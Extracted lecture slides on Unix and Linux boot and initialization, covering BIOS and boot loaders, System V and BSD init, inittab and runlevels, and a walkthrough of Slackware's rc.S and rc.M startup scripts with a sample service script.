80. Anacron III Daily task might get started multiple times per day if it never completes Frequently anacron use battery saving feature # cat /usr/lib/pm-utils/power.d/anacron #!/bin/sh # This script makes anacron jobs start/stop when a machine gets or loses AC # power. case $1 in false) start -q anacron || : ;; true) stop -q anacron || : ;; esac

84. Tālāk daudz slaidu no iepriekšējiem gadiem, kas šobrīd netiek stāstīti  Interesantas advancētas lietas  Neaktuālas lietas  Novecojušas lietas

85. Init scripts in Gentoo  Named (not numbered) run levels.  Smart dependencies. Scripts can ‘use’ or ‘depend’ on others.  Start / Stop / Pause.  /etc/runlevels/default/.

86. Webmin  Webmin is a web-based interface for system administration for Unix. Using any browser that supports tables and forms (and Java for the File Manager module), you can setup user accounts, Apache, DNS, file sharing and so on.  http://www.webmin.com http://www.webmin.com

87. System V initialization system RHEL 4 BOOTFLAGS It is possible to pass a number of flags to init from the boot monitor (eg. LILO). Init accepts the following flags: -s, S, single - Single user mode boot. In this mode /etc/inittab is examined and the bootup rc scripts are usually run before the single user mode shell is started. 1-5 - Runlevel to boot into. -b, emergency - Boot directly into a single user shell without running any other startup scripts. -a, auto - The LILO boot loader adds the word "auto" to the command line if it booted the kernel with the default command line (without user intervention). If this is found init sets the "AUTOBOOT" environment variable to "yes". -z xxx - The argument to -z is ignored. You can use this to expand the command line a bit, so that it takes some more space on the stack. Init can then manipulate the command line so that ps(1) shows the current runlevel.

88. /etc/inittab # The default runlevel is defined here id:5:initdefault: # First script to be executed si::sysinit:/etc/rc.d/rc.sysinit # /etc/init.d/rc takes care of # runlevel handling l0:0:wait:/etc/init.d/rc 0 l1:1:wait:/etc/init.d/rc 1 l2:2:wait:/etc/init.d/rc 2 l3:3:wait:/etc/init.d/rc 3 l4:4:wait:/etc/init.d/rc 4 l5:5:wait:/etc/init.d/rc 5 l6:6:wait:/etc/init.d/rc 6 ls:S:wait:/etc/init.d/rc S # what to do when CTRL-ALT-DEL is pressed ca::ctrlaltdel:/sbin/shutdown -r -t 4 now # getty-programs for the normal runlevels # The "id" field MUST be the same as the # last characters of the device name 1:2345:respawn:/sbin/mingetty --noclear tty1 2:2345:respawn:/sbin/mingetty tty2 3:2345:respawn:/sbin/mingetty tty3 4:2345:respawn:/sbin/mingetty tty4 5:2345:respawn:/sbin/mingetty tty5 6:2345:respawn:/sbin/mingetty tty6

89. rc.sysinit  Setting the path and the hostname, and checking whether networking is activated.  Mounting the /proc filesystem  Setting the kernel parameters  Setting the system clock  Loading keymaps and fonts  Starting swapping  Initializing the USB controller along with the attached devices.  Checking the root filesystem.  Remounting the root filesystem as read-write.  Loading modules as appropriate.

90. /etc/init.d/rc  All initialization scripts are located in /etc/init.d.  Scripts for changing the runlevel are also found there, but are called through symbolic links from one of the subdirectories ( /etc/init.d/rc0.d to /etc/init.d/rc6.d ).  Because every script can be executed as both a start and a stop script, these scripts must understand the parameters start and stop. Possible init Script Options OptionDescription start Start service. stop Stop service. restart If the service is running, stop it then restart it. If it is not running, start it. reload Reload the configuration without stopping and restarting the service. force-reload Reload the configuration if the service supports this. Otherwise, do the same as if restart had been given. status Show the current status of service.

91. /sbin/rc unix root # more /sbin/rc #!/bin/bash trap ":" INT QUIT TSTP source /sbin/functions.sh # Only source this when this is a livecd booting... [ -f /sbin/livecd-functions.sh ] && source /sbin/livecd-functions.sh umask 022 try() { local errstr local retval=0 if [ -c /dev/null ]; then errstr="$((eval $*) 2>&1 >/dev/null)" else errstr="$((eval $*) 2>&1)" fi retval=$? if [ "${retval}" -ne 0 ] then # Progressbar begin if [ -c /dev/null ]; then rc_splash "stop" &>/dev/null & else rc_splash "stop" & fi # Progressbar end...

92. init scripts start other processes The system first runs the scripts whose names start with K to kill the associated processes  /etc/rc.d/init.d/ stop The system runs the scripts whose names start with S to start the processes  /etc/rc.d/init.d/ start

93. System V initialization system RHEL 4 [juris@ns1 rc4.d]$ pwd /etc/rc.d/rc4.d [juris@ns1 rc4.d]$ ls –l... lrwxrwxrwx 1 root root 19 Jun 2 2005 K05saslauthd ->../init.d/saslauthd lrwxrwxrwx 1 root root 13 Jun 2 2005 K20nfs ->../init.d/nfs lrwxrwxrwx 1 root root 14 Jun 2 2005 K24irda ->../init.d/irda lrwxrwxrwx 1 root root 15 Jun 2 2005 K25squid ->../init.d/squid lrwxrwxrwx 1 root root 16 Jun 2 2005 S09pcmcia ->../init.d/pcmcia lrwxrwxrwx 1 root root 16 Jun 2 2005 S40smartd ->../init.d/smartd lrwxrwxrwx 1 root root 14 Jun 2 2005 S55sshd ->../init.d/sshd lrwxrwxrwx 1 root root 16 Aug 11 2005 S55sshdlp ->../init.d/sshdlp... lrwxrwxrwx 1 root root 15 Jun 2 2005 S97rhnsd ->../init.d/rhnsd lrwxrwxrwx 1 root root 11 Jun 15 2005 S99local ->../rc.local [juris@ns1 rc4.d]

94. Benefits of init Scripts  One of the benefits of using init directory scripts is that they are easily tested. The scripts may be manually invoked with the stop and start arguments as a check to determine whether they function correctly before creating the links to the rc directories, and trying them under actual system boot conditions. This procedure is recommended because it can help you catch mistakes that might interrupt the boot process and leave the system unusable.

95. System V initialization  System service manipulation command [juris@ns1 init.d]$ /sbin/service Usage: service | --status-all | [ service_name [ command | --full-restart ] ] [juris@ns1 init.d]$ /sbin/service sshdlp Usage: /etc/init.d/sshdlp {start|stop|restart|reload|condrestart|status} [juris@ns1 init.d]$

96. Changing Run Levels  The following commands are typically reserved for system maintenance activities. UNIX shutdown Command The System V init 0 Command The telinit Command NOTE: The shutdown, telinit, and init 0 commands can only be executed with root access.

97. System V initialization SIGHUPHas the same effect as telinit q. SIGUSR1On receipt of this signals, init closes and re-opens its control fifo, /dev/initctl. Useful for bootscripts when /dev is remounted. SIGINTNormally the kernel sends this signal to init when CTRL-ALT-DEL is pressed. It activates the ctrlaltdel action. SIGWINCHThe kernel sends this signal when the keyboardSignal key is hit. It activates the kbrequest action. Init reacts to several signals

98. The OS Kernel  UNIX Run Levels All flavors of UNIX, and UNIX- work-alikes use similar foundations for the system run modes. As far as UNIX and its ilk are concerned, there are basically two run modes: single user (sometimes called maintenance mode), and multi-user.  There may be several forms of the multi-user mode (with services, without services, and so on) on any given UNIX OS.

99. The OS Kernel  Typically, BSD variants include a r un c ontrol (also known as an rc) script in the /etc directory. This allows the administrator to edit a single /etc/rc script to make it start a new service at boot time.  Other BSD variants have simply increased the number of rc files in the /etc directory. For example, the FreeBSD start-up directory contains scripts with names such as /etc/rc.atm, /etc/rc.firewall, and /etc/rc.network. These individual scripts, respectively, configure the ATM network cards, cause the system to become a firewall, and configure the network links respectively. These scripts are called by the master script, /etc/rc

100. Sample BSD Startup Scripts /etc/rc.boot  First rc script to run is /etc/rc.boot The first two lines set HOME and PATH environment variables Executes basic system commands during boot hostname file in /etc for each network interface enables IP networking on each interface Find hostname from other machine on NW using hostconfig program and use NFS to mount filesystems System Administrator intervene to fix problem

102. Advanced Boot Concepts  Initial ramdisk (initrd) – two-stage boot for flexibility: First mount “initial” ramdisk as root. Execute linuxrc to perform additional setup, configuration. Finally mount “real” root and continue. See Documentation/initrd.txt for details. Also see “man initrd”.  Net booting: Remote root (Diskless-root-HOWTO). Diskless boot (Diskless-HOWTO).

103. System initialization  Overview of the PC Boot Process When a PC is powered on, the BIOS (Basic Input-Output System) runs first, followed by a boot loader and finally the operating system initialization routine.

104. System initialization  The BIOS When power is initially applied to the computer this triggers the RESET pin on the processor. This causes the processor to read from memory location 0xFFFFFFF0 and begin executing the code located there. This address is mapped to the Read- Only Memory (ROM) containing the BIOS. The BIOS must poll the hardware and set up an environment capable of booting the operating system. BIOS functionality can be broken into three areas: Power On Self Test (POST), Setup and Boot. The last action of the BIOS is to execute the 19h interrupt, which loads the first sector of the first boot device. Since this is the location of the boot loader, execution of the 19h interrupt transfers control to the boot loader.

105. System initialization  The Boot Loader Once the BIOS loads the first sector of the boot device into RAM, the boot loader begins execution. In the case of a hard drive, this first sector is referred to as the Master Boot Record (MBR). The MBR contains the partition table describing the partitions defined on the hard drive. It also contains a program, the boot loader, which will load the first sector of the partition marked as active into RAM and execute it. The size of the MBR is limited to one sector on disk or 512 bytes, since it is located within the first sector of the drive at cylinder 0, head 0, sector 1. Typically boot loaders have been highly integrated with the operating system that they support. This integration cuts down on the operations a boot loader must perform, making a 512 byte boot loader feasible. When more functionality is required, a multi-stage boot loader may be used. A multi-stage boot loader provides more function and flexibility by working around the 512 byte size limitation. Rather than consisting of a single program which loads the operating system directly, multi-stage boot loaders divide their functionality into a number of smaller programs that each successively load one another.

106. System initialization  OS Initialization Once the boot loader has loaded the OS image into memory, control is transferred to the OS. A large aspect of initialization for any operating system is the establishment of virtual memory management. On an Intel- based system this typically involves setting up the Global Descriptor Table (GDT), creating a Local Descriptor Table (LDT), switching the processor into protected memory mode, setting up page directories and enabling paging. Additional tasks include device driver initialization and the assignment of interrupts in the Interrupt Descriptor Table (IDT). Another major initialization task is establishing support for various file system types and mounting a root file system.

107. System initialization  OS Initialization The initial process must explicitly do for itself all the tasks accomplished by a call to fork(). This initial process, numbered 0 on UNIX systems. Process 0 must be able to self-generate its own process context. Once this context has been established, the system has the capability to suspend and resume execution of Process 0 just as it would any other process. Once established, the role of Process 0 differs by operating system. Process 1, commonly referred to as the init process, is the first process forked from Process 0. Once Process 1 has been forked from Process 0, often a number of additional kernel space processes are created to handle additional kernel space tasks. Once all of these are running, the kernel space operating system initialization is complete.

108. System initialization

109.  OpenBSD employs a two-stage boot loading process, if one does not count the MBR as a separate “stage.” The first stage is handled by a boot loader program called biosboot, while the secondary boot loader is called simply boot.  The boot program sets up an environment suitable for transferring control to the kernel image. It also provides an interactive prompt for user input of additional boot parameters. The main tasks of the boot program are: 1. Switching the CPU into protected mode 2. Probing for console devices and displaying subsequent messages to the discovered consoles 3. Detecting memory, both that reported by the BIOS and extended memory 4. Detecting if the BIOS supports Advanced Power Management (APM)

110. System initialization

112. 1. A “pagedaemon” process to handle page swapping for the virtual memory subsystem, 2. A “reaper” process to free the resources still allocated to dead processes, 3. A “cleaner” process to clear out dirty buffers found in the BQ_DIRTY buffer queue, 4. An “update” process for synchronizing the file systems, 5. An “aiodoned” process for handling completed asynchronous I/O operations,

113. System initialization  With all kernel threads running, only a few finishing touches are needed. The random number generator is seeded and the generation of process identification numbers is set up such that each successive process will be given a larger pseudo-random number than its predecessor. At this point, Process 0 finally enters its main loop by calling uvm_scheduler(). This function has Process 0 continually check for processes that are in a runnable state but not resident in memory and swaps them in. Control never returns to the main() function from this call and one could say the operating system is truly running.

114. System initialization

117. Userspace system initialization  Historically there are two initialization systems : System V BSD  These two system differ with names, script running order, directory hierarchy which hold initialization scripts.  Linux systems mainly use System V initialization system. Exclude Slackware, whose initialization system very similar to BSD.

118. Userspace system initialization  Kernel start up root file system in ro mode and run init process  As a result we have: ro file system init process  The next system step initializing user space environment greatly depends on init configuration file /etc/inittab  It’s very important to understand that until this moment it doesn’t matter what initialization system will be used.

119. Userspace system initialization  INIT Starting from this point next system behavior greatly depend on how init program configuration created. Because kernel mount root file system in ro mode init process can access it’s configuration file /etc/inittab.

120. Userspace system initialization 1.When it’s time to create process, the kernel first of all try to run program mentioned in rdinit= boot option. 2.If rdinit= boot option didn’t specify path to init programm, kernel try to run /init 3.If there’s no /init program, kernel try to run program from init= boot option 4.If init= option didn’t specify path, kernel try /sbin/init 5.If there’s problem with /sbin/init, kernel try /etc/init 6.It there’s problem with /etc/init, then kernel try /bin/init 7.If there’s problem running /bin/init, then kernel try to run /bin/sh 8.If there’s problem with /bin/sh, then kernel panic with error message “No init found ….”

121. Userspace system initialization  Run levels There are 7 runlevels: 0-6 System at any time working in one of this runlevels You, as administrator of the system can switch system from one runlevel to another using telinit or init programs 0 runlevel – shutdown system 1 runlevel – single user mode 2 runlevel – in most cases same as runlevel 3 but without network file system, at least in RedHat or SUSE linux 3 runlevel – multiuser mode. 4 runlevel – In Slackware used for GUI login. RedHat and SUSE linux don’t use this runlevel. 5 runlevel – RedHat and SUSE linux use for GUI login. Slackware don’t use this level 6 runlevel – system reboot level

122. Userspace system initialization  Slackware system initialization: Slackware system initialization use BSD style system initialization scripts. All scripts are in /etc/rc.d directory

123. Userspace system initialization  /etc/rc.d/rc.S file Based in /etc/inittab file rc.S file will be executed the first one no matter which runlevel system will run. 1. Based on #!/bin/sh we can tell, that it’s a shell script. 2. First of all we define PATH environment variable PATH=/sbin:/usr/sbin:/bin:/usr/bin 3. Then we mount proc filesystem to /proc diretory /sbin/mount -v proc /proc -n -t proc

124. Userspace system initialization 4. Check if we can run hotplug system if [ -w /proc/sys/kernel/hotplug ]; then if grep -w nohotplug /proc/cmdline 1> /dev/null 2> /dev/null ; then echo "/dev/null" > /proc/sys/kernel/hotplug elif [ ! -x /etc/rc.d/rc.hotplug ]; then echo "/dev/null" > /proc/sys/kernel/hotplug fi 5. Check if we can run devfs script and use devfs filesystem if [ -x /etc/rc.d/rc.devfsd ]; then /etc/rc.d/rc.devfsd start fi

125. Userspace system initialization 6. Check if we can use virtual sysfs filesystem if [ -d /sys ]; then if cat /proc/filesystems | grep -w sysfs 1> /dev/null 2> /dev/null then if ! cat /proc/mounts | grep -w sysfs 1> /dev/null 2> /dev/null then /sbin/mount -v sysfs /sys -n -t sysfs fi 7.Check if it’s possible to run udev programm. if [ -x /etc/rc.d/rc.udev ]; then if ! grep -w nohotplug /proc/cmdline 1> /dev/null 2> /dev/null; then /etc/rc.d/rc.udev fi

126. Userspace system initialization 8. Turn on all swap filesystem /sbin/swapon -a 9. Check what mode root filesystem have been mounted READWRITE=no if touch /fsrwtestfile 2>/dev/null; then rm -f /fsrwtestfile READWRITE=yes else echo "Testing root filesystem status: read-only filesystem" fi 10. Check is it necessary to force file system check: if [ -r /etc/forcefsck ]; then FORCEFSCK="-f" fi

127. Userspace system initialization 11. Check if it’s necessary to check root filesystem if [ ! -r /etc/fastboot ]; then echo "Checking root filesystem:" /sbin/fsck $FORCEFSCK -C -a / RETVAL=$? fi 12. Check fsck program return code if [ $RETVAL -ge 2 ]; then if [ $RETVAL -ge 4 ]; then echo PS1="(Repair filesystem) \#"; export PS1 sulogin else echo fi echo "Unmounting file systems." /sbin/umount -a -r /sbin/mount -n -o remount,ro / echo "Rebooting system." sleep 2 reboot -f fi

128. Userspace system initialization 13. Ir 12 pint are ok, then remount root filesystem in rw mode /sbin/mount -w -v -n -o remount / if [ $? -gt 0 ] ; then echo read junk; fi

129. Userspace system initialization 14. Set system time if [ -x /sbin/hwclock ]; then if grep "^UTC" /etc/hardwareclock 1> /dev/null 2> /dev/null ; then echo "Setting system time from the hardware clock (UTC)." /sbin/hwclock --utc --hctosys else echo "Setting system time from the hardware clock (localtime)." /sbin/hwclock --localtime --hctosys fi 15. Try to load kernel modules if [ -x /etc/rc.d/rc.modules -a -r /proc/modules ]; then. /etc/rc.d/rc.modules fi

130. Userspace system initialization 16. Try to load sysctl kernel configuration if [ -x /sbin/sysctl -a -r /etc/sysctl.conf ]; then /sbin/sysctl -e -p /etc/sysctl.conf fi 17. If there’s no /etc/fastboot file, then other file systems will be checked. if [ ! -r /etc/fastboot ]; then /sbin/fsck $FORCEFSCK -C -R -A -a fi 18. Mount all file systems from /etc/fstab file except ntfs and smbfs file systems /sbin/mount -a -v -t nonfs,nosmbfs,noproc

131. Userspace system initialization 19. Repeatedly turn on swap filesystem /sbin/swapon -a 20. Delete temporary files ( cd /var/log/setup/tmp && rm -rf * ) /bin/rm -f /var/run/utmp /var/run/*pid /etc/nologin /var/run/lpd* \ /var/run/ppp* /etc/dhcpc/*.pid /etc/forcefsck /etc/fastboot 21. If kernel use initrd technology, then turn off RAM disk, delete initrd directory and free memory if [ -d /initrd ]; then /sbin/umount /initrd 2> /dev/null rmdir /initrd 2> /dev/null blockdev --flushbufs /dev/ram0 2> /dev/null fi

132. Userspace system initialization 22. Create utmp file touch /var/run/utmp chown root.utmp /var/run/utmp chmod 664 /var/run/utmp 23. Create motd file echo "$(/bin/uname -sr)." > /etc/motd 24. If it’s necessary we can use System V initialization scripts if [ -x /etc/rc.d/rc.sysvinit ]; then. /etc/rc.d/rc.sysvinit fi

133. Userspace system initialization 25. Create everything for random number generator if [ -f /etc/random-seed ]; then echo "Using /etc/random-seed to initialize /dev/urandom." cat /etc/random-seed > /dev/urandom fi if [ -r /proc/sys/kernel/random/poolsize ]; then dd if=/dev/urandom of=/etc/random-seed count=1 \ bs=$(cat /proc/sys/kernel/random/poolsize) 2> /dev/null else dd if=/dev/urandom of=/etc/random-seed count=1 bs=512 2> /dev/null fi chmod 600 /etc/random-seed

134. Userspace system initialization  /etc/rc.d/rc.modules user direct modprobe program execution to load kernel modules. All you have to do – uncomment needed module, ex.: /sbin/modprobe 3c503  /etc/rc.d/rc.modules is also used for loading network card modules, by the means of executing /etc/rc.d/rc.netdevice script if [ -x /etc/rc.d/rc.netdevice ]; then. /etc/rc.d/rc.netdevice fi

135. Userspace system initialization  /etc/rc.d/rc.S script used for: Activating swap space File system check File system mounting Loading kernel modules, loading network drivers and so on, by executing /etc/rc.d/rc.modules script Some other system startup behavior

136. Userspace system initialization /etc/rc.d/rc.M script /etc/rc.d/rc.M script used to bring system to 2, 3 and 4 runlevel. 1. Going multiuser: echo "Going multiuser..." 2. Set terminal parameters: /bin/setterm -blank 15 -powersave powerdown -powerdown 60 3. Check /etc/HOSTNAME file and set system hostname if [ -r /etc/HOSTNAME ]; then /bin/hostname $(cat /etc/HOSTNAME | cut -f1 -d.) else echo "darkstar.example.net" > /etc/HOSTNAME /bin/hostname darkstar fi

137. Userspace system initialization 4. Save all kernel messages to /var/log/dmesg file: /bin/dmesg -s 65536 > /var/log/dmesg 5. Start up SYSLOG daemon: if [ -x /etc/rc.d/rc.syslog -a -x /usr/sbin/syslogd -a -d /var/log ] then. /etc/rc.d/rc.syslog start fi 6. Starp up pcmcia controller support if [ -x /etc/rc.d/rc.pcmcia ] ; then. /etc/rc.d/rc.pcmcia start if [ -r /var/run/cardmgr.pid ]; then sleep 5 fi

138. Userspace system initialization 7. Start up network phase 1 initialization if [ -x /etc/rc.d/rc.inet1 ]; then. /etc/rc.d/rc.inet1 fi 8. Hotplug support start up if [ -x /etc/rc.d/rc.hotplug -a -r /proc/modules ]; then if ! grep nohotplug /proc/cmdline 1> /dev/null 2> /dev/null ; then echo "Activating hardware detection: /etc/rc.d/rc.hotplug start". /etc/rc.d/rc.hotplug start fi

139. Userspace system initialization 9. Start up network phase 2 initialization if [ -x /etc/rc.d/rc.inet2 ]; then. /etc/rc.d/rc.inet2 fi 10. Remove temporary files /bin/rm -f /var/lock/* /var/spool/uucp/LCK..* \ /tmp/.X*lock /tmp/core /core 2> /dev/null 11. Change root directory access mode and set sticky bit on /tmp and /var/tmp directory chmod 755 / 2> /dev/null chmod 1777 /tmp /var/tmp

140. Userspace system initialization 12. Create dynamic loadable library cache if [ -x /sbin/ldconfig ]; then echo "Updating shared library links: /sbin/ldconfig" /sbin/ldconfig fi 13. Start simple DNS cache server if [ -x /etc/rc.d/rc.dnsmasq ]; then /etc/rc.d/rc.dnsmasq start fi 14. Starp up CUPS un LPRng print system if [ -x /etc/rc.d/rc.cups ]; then /etc/rc.d/rc.cups start elif [ -x /etc/rc.d/rc.lprng ]; then. /etc/rc.d/rc.lprng start fi

141. Userspace system initialization 15. Start up support for “BSD accounting” subsystem if [ -x /sbin/accton -a -r /var/log/pacct ]; then /sbin/accton /var/log/pacct chmod 640 /var/log/pacct echo "Process accounting turned on." fi 16. Start cron daemon if [ -x /usr/sbin/crond ]; then /usr/sbin/crond -l10 >>/var/log/cron 2>&1 fi 17. Start atd if [ -x /usr/sbin/atd ]; then /usr/sbin/atd -b 15 -l 1 fi

142. Userspace system initialization 18. Start up disk quota mechanism if grep -q quota /etc/fstab ; then if [ -x /sbin/quotacheck ]; then echo "Checking filesystem quotas: /sbin/quotacheck -avugm" /sbin/quotacheck -avugm fi if [ -x /sbin/quotaon ]; then echo "Activating filesystem quotas: /sbin/quotaon -avug" /sbin/quotaon -avug fi 19. Start up sendmail system if [ -x /etc/rc.d/rc.sendmail ]; then. /etc/rc.d/rc.sendmail start fi

143. Userspace system initialization 20. The last one will be /etc/rc.d/rc.local script, which is used for customize system start up and execute applications without System V or BSD initialization scripts.

144. Userspace system initialization  If we need to execute script upon system start up we need to set execution permissions on this script  And vice versa, if we don’t need to execute this service, don’t make it executable.  Every start up script – relatively simple shell script. It may handle command line parameters like: start – to start service, and stop – to stop service  If you don’t have initialization script for certain application we handle this situation in 2 different way:

145. Userspace system initialization 1. Make /etc/rc.d/rc.local script execute this program 2. Write down your own start up script and add information about new script to /etc/rc.d/rc.M

146. Userspace system initialization  Script example for custom service using /etc/rc.d/rc.M start up mechanism #! /bin/bash start() { echo “Program started” program_start } stop() { echo “Program stoped” killall program } case $1 in start) start ;; stop) stop ;; restart) stop sleep 2 start ;; *) echo “Usage: Program start|stop|restart” esac

147. Userspace system initialization  Add this script to /etc/rc.d/rc.M script by entering if [ -x /etc/rc.d/rc.script ]; then. /etc/rc.d/rc.script start fi

149. /sbin/rc unix root # more /sbin/rc #!/bin/bash trap ":" INT QUIT TSTP source /sbin/functions.sh # Only source this when this is a livecd booting... [ -f /sbin/livecd-functions.sh ] && source /sbin/livecd-functions.sh umask 022 try() { local errstr local retval=0 if [ -c /dev/null ]; then errstr="$((eval $*) 2>&1 >/dev/null)" else errstr="$((eval $*) 2>&1)" fi retval=$? if [ "${retval}" -ne 0 ] then # Progressbar begin if [ -c /dev/null ]; then rc_splash "stop" &>/dev/null & else rc_splash "stop" & fi # Progressbar end...